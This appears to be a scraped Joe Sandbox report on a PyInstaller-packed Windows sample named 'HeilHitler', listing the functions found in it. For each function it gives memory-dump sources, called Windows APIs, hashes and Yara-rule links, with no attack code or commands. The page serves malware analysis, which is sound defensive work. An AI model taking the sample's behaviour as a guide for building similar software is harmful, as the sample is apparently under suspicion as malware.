Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction ID: af70bb7a3c6f31b9e390633d1bb89b6c7acd811030c50bd4684439e7c952e65f
Opcode Fuzzy Hash: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction Fuzzy Hash: F131C962E1865285F7116FD5884337D2AA0BF80BA4F410335E96DE33D2DFBCE481A711

Function 00007FF633D75F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D75EF9

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 71194e22d05641b10dc65178b92433d9c01259dbd81bc5257bd447ae03344ba5
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: AA118731A2C64281FA619F91940217DE265BF85B84F844635FB8CF7BD6CF3DD441A701

Function 00007FF633D86354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D86377

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 681b49116d6078b83f6c01a51bb582aea50fed0a75d1bbc720fa48e5edc4b4eb
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 8121C232A08A4586DB618FA8D44237976A1FB84B64F185334E75DDB7D9DF3CE4019B00

Function 00007FF633D703BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D70410

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 8100abf10ddfc778ae3f560dacaff004b234dc34a937c99278895e9b877d69de
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 26019621A0874581EA04DFA6A902179A6A5FF85FE4F484731EE6CB7BD6CF3CE401A300

Function 00007FF633D68E80 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF633D69390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF633D645F4,00000000,00007FF633D61985), ref: 00007FF633D693C9

LoadLibraryExW.KERNEL32(?,00007FF633D66476,?,00007FF633D6336E), ref: 00007FF633D68EA2

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 11a4aaaef8a7a10f6e0ce37232ac144c9e9b59754371ad75d1a790c2d21c933d
Instruction ID: 578265085706a170f51f15b917ea63c02d5dd7c80fac34327bcf48aebca9e358
Opcode Fuzzy Hash: 11a4aaaef8a7a10f6e0ce37232ac144c9e9b59754371ad75d1a790c2d21c933d
Instruction Fuzzy Hash: D9D0C201F3824542EA44A7B7BA47639A251AFC9BC0F98D035EE5D47B5AEC3CD0914B00

Function 00007FFDFAE81CF8 Relevance: 1.3, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFAEC6681

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: c6d810e0a92dfab2f57800588eaa3bba5a0c0cbf05fe10e2817728c59d1b6220
Instruction ID: f809ee69fdaeef3cf295af42917520fde26c64398c0cb3356ed228048a87a669
Opcode Fuzzy Hash: c6d810e0a92dfab2f57800588eaa3bba5a0c0cbf05fe10e2817728c59d1b6220
Instruction Fuzzy Hash: C031AF32B0820286EB6AAF16956097A73A1EB40F54F1694B1DD6E577CDCF3EE881D700

Function 00007FFDFAE97DF0 Relevance: 1.3, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFAE97E21

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 8e011317cca6565eb200d0702bfa620ad3ccf4c4be6080c5c317d346bd03422b
Instruction ID: 76269b6929a057e415c7e40db9153c0251acd282ee2f1ee44e2ff160dd646908
Opcode Fuzzy Hash: 8e011317cca6565eb200d0702bfa620ad3ccf4c4be6080c5c317d346bd03422b
Instruction Fuzzy Hash: 16217C32708B8086D758DB26E5906ADB7A0FB88BD4F148135EFAD47B98CF78D595CB00

Function 00007FF633D7EB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF633D7B32A,?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A), ref: 00007FF633D7EBED

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: 7422d4e8f3036dac261518129888d41113bb2b43793f05dbd5aaa9a8b1a7c904
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: 63F06D54B0A20240FE5A5EE5985B2B546905F88B80F4C5730CD0FE67E2EE2CE481A210

Function 00007FFDFAE81F32 Relevance: 1.3, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFAE982BB

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 7be56b9b5c195ef2355d3ed0a864c758a5bbc4b2e9c7b36c5c12c2a7c1a9fd28
Instruction ID: 0815945402276d60b86fa22a56c780c2c53503cd34cc8cc7ec1737994d11fac7
Opcode Fuzzy Hash: 7be56b9b5c195ef2355d3ed0a864c758a5bbc4b2e9c7b36c5c12c2a7c1a9fd28
Instruction Fuzzy Hash: B2F08122708B8185E304AB16F4106AAA7A0FB98FC4F188071EF9E47BADCE3CD481C700

Function 00007FF633D7D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF633D70C90,?,?,?,00007FF633D722FA,?,?,?,?,?,00007FF633D73AE9), ref: 00007FF633D7D63A

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 1a67376a0a3742251bd4409ebce51042f31dabe0049eacb0d2770a301575f88f
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 7EF0F815F0924A45FE656FF1594377912A05F847A0F480730DD2EE67CAEE2CB580A610

Non-executed Functions

Function 00007FF633D689E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF633D69390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF633D645F4,00000000,00007FF633D61985), ref: 00007FF633D693C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68A56

Part of subcall function 00007FF633D7A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7A490

Part of subcall function 00007FF633D7871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D78783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68AE6
CreateProcessW.KERNEL32 ref: 00007FF633D68B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68B28

Part of subcall function 00007FF633D62C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62C9E
Part of subcall function 00007FF633D62C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62D63
Part of subcall function 00007FF633D62C50: MessageBoxW.USER32 ref: 00007FF633D62D99

RegisterClassW.USER32 ref: 00007FF633D68B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68B8B
CreateWindowExW.USER32 ref: 00007FF633D68BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68C15
PeekMessageW.USER32 ref: 00007FF633D68C39
TranslateMessage.USER32 ref: 00007FF633D68C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68C51
PeekMessageW.USER32 ref: 00007FF633D68C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68E04
GetExitCodeProcess.KERNEL32 ref: 00007FF633D68E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68E2F

Strings

PyInstallerOnefileHiddenWindow, xrefs: 00007FF633D68B54
CreateProcessW, xrefs: 00007FF633D68B37
Failed to create child process!, xrefs: 00007FF633D68B30
PyInstaller Onefile Hidden Window, xrefs: 00007FF633D68B95

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 8cf410ab41b0fa40752e760cc4270562d31a1d9cbf9cda09278e672fccba3f4d
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: C9D1A832A08B8286E7108FB4E8562AD3764FF84B58F401335DA6EA7BA5DF3CE155D700

Function 00007FFDFAD63048 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFDFAD63064
00007FFE133319C0.VCRUNTIME140 ref: 00007FFDFAD63088
RtlCaptureContext.KERNEL32 ref: 00007FFDFAD63091
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFDFAD630AB
RtlVirtualUnwind.KERNEL32 ref: 00007FFDFAD630EC
00007FFE133319C0.VCRUNTIME140 ref: 00007FFDFAD6311F
IsDebuggerPresent.KERNEL32 ref: 00007FFDFAD63140
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFDFAD63161
UnhandledExceptionFilter.KERNEL32 ref: 00007FFDFAD6316C

Memory Dump Source

Source File: 00000001.00000002.2033758431.00007FFDFAD61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAD60000, based on PE: true

Associated: 00000001.00000002.2033713501.00007FFDFAD60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFADC4000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE13000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE6C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE71000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE74000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034059986.00007FFDFAE75000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034101253.00007FFDFAE77000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfad60000_HeilHitler.jbxd

Similarity

API ID: 00007E133319ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3962975190-0
Opcode ID: d8a6e0e72b6848609e29a44b0cba3310e6ec791779f206a0b46e58d07e77914d
Instruction ID: 9c6d0b533a1b572e9fd086abc4dd06a6d794b89d6aa36ce87aa723441fd0a555
Opcode Fuzzy Hash: d8a6e0e72b6848609e29a44b0cba3310e6ec791779f206a0b46e58d07e77914d
Instruction Fuzzy Hash: CC314D72709A818AEB688F60E8607ED7364FB84744F44443ADA5E47BD8EF3CD648CB10

Function 00007FF633D683C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D6842B
RemoveDirectoryW.KERNEL32(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D684AE
DeleteFileW.KERNEL32(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D684CD
FindNextFileW.KERNEL32(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D684DB
FindClose.KERNEL32(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D684EC
RemoveDirectoryW.KERNEL32(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D684F5

Strings

%s\*, xrefs: 00007FF633D683F2

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: 3d6ec63bfd8af715c8e5da51951a36cb782d4503c1980f80a6f345d69cf020b1
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: B1417331A0C98285EA309BA4E4565BA7361FB94755FC00332DAAEE77D8EF3CE549D700

Function 00007FFDFAF43229 Relevance: 12.3, APIs: 8, Instructions: 251fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FFDFB0E400F
GetLastError.KERNEL32 ref: 00007FFDFB0E401C
MultiByteToWideChar.KERNEL32 ref: 00007FFDFB0E4043
MultiByteToWideChar.KERNEL32 ref: 00007FFDFB0E4098
00007FFE1FF9F020.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDFB0E40A9
FindFirstFileW.KERNEL32 ref: 00007FFDFB0E421C
FindNextFileW.KERNEL32 ref: 00007FFDFB0E4259
WideCharToMultiByte.KERNEL32 ref: 00007FFDFB0E42B7

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: ByteCharMultiWide$FileFind$00007ErrorF020FirstLastNext
String ID:
API String ID: 1171239525-0
Opcode ID: b84a2f744cee5a13916b1079a4c81b9897484e08d179ab741295abe408a7cb8c
Instruction ID: 4cabe8fa43cb0042de95939e3b11c3787b99cdbcfef7f0e8b50a0659997f49ab
Opcode Fuzzy Hash: b84a2f744cee5a13916b1079a4c81b9897484e08d179ab741295abe408a7cb8c
Instruction Fuzzy Hash: 24B19122B06A8385EB119F65D864A7D67A0FF4ABE4F448335DA6D437E8EF3CE1419300

Function 00007FFDFAE82009 Relevance: 10.6, APIs: 7, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFDFAEEFAC0
RtlCaptureContext.KERNEL32 ref: 00007FFDFAEEFAED
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFDFAEEFB07
RtlVirtualUnwind.KERNEL32 ref: 00007FFDFAEEFB48
IsDebuggerPresent.KERNEL32 ref: 00007FFDFAEEFB9C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFDFAEEFBBD
UnhandledExceptionFilter.KERNEL32 ref: 00007FFDFAEEFBC8

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

